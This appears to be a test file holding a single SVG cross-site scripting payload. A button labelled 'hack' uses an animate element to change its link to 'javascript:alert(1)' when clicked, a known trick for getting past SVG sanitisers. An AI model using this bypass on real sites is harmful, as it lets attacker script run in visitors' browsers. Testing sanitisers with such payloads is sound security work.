test
<svg width="140" height="30" xmlns="http://www.w3.org/2000/svg">
<a xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="">
<rect height="30" width="120" y="0" x="0" rx="10"/>
<text fill="white" text-anchor="middle" y="20" x="60">hack</text>
<animate attributeName="xlink:href" begin="0" from="" to="javascript:alert(1)" /> </animate>
</a>
</svg>